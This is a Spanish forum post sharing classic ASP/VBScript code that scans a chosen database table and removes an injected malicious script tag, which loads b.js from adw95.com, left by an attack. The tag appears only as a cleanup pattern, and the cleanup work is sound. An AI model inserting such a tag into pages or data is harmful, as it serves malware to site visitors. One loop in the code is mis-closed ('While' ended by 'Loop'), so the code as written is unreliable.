Ya esta. Gracias por la ayuda. Al final me cree un codigo nuevo, aun que he utilizado algunas cosas del tuyo. Esto es lo que hice, por si alguien también quiere aprovecharlo:
Dim i, j, n_ocurrencias
Dim sTabla
Dim sSELECT, sSELECT2
' >>> Conexion con la base de datos
call Conectar()
Set Rst = CreateObject( "ADODB.Recordset" )
Set Rst2 = CreateObject( "ADODB.Recordset" )
sTabla = Request.QueryString( "Tabla" )
sSELECT = "SELECT name FROM sysobjects WHERE type='U'"
Rst.open sSELECT, objCon, 3, 3
Do While( Not Rst.EOF )
If( Rst( "name" ) = sTabla ) Then
sSELECT2 = "SELECT * FROM " & Rst( "name" )
'sSELECT2 = "SELECT * FROM " & a_Tablas( i )
'Response.Write( sSELECT2 & "<BR />" )
Rst2.open sSELECT2, objCon, 3, 3
n_ocurrencias = 0
While( Not Rst2.EOF )
For j = 0 To Rst2.Fields.Count - 1
If( InStr( 1, Rst2.Fields( j ), "<script src=http://www.adw95.com/b.js></script>" ) <> 0 ) Then
n_ocurrencias = n_ocurrencias + 1
Rst2.Fields( j ) = Replace( Rst2.Fields( j ), "<script src=http://www.adw95.com/b.js></script>", "" )
Rst2.Update
End If
Next
Rst2.MoveNext
Loop
' Cerramos RecordSet
Rst2.Close
Response.Write( "<P align='center' class='txt_formulario_error'><STRONG>" & n_ocurrencias & "</STRONG> ocurrencias encontradas, <STRONG>" & n_ocurrencias & "</STRONG> ocurrencias actualizadas</P>" )
End If
Rst.MoveNext
Loop
'Next
' Desconexion
Call Desconectar()
Gracias de nuevo, un saludo,
edude.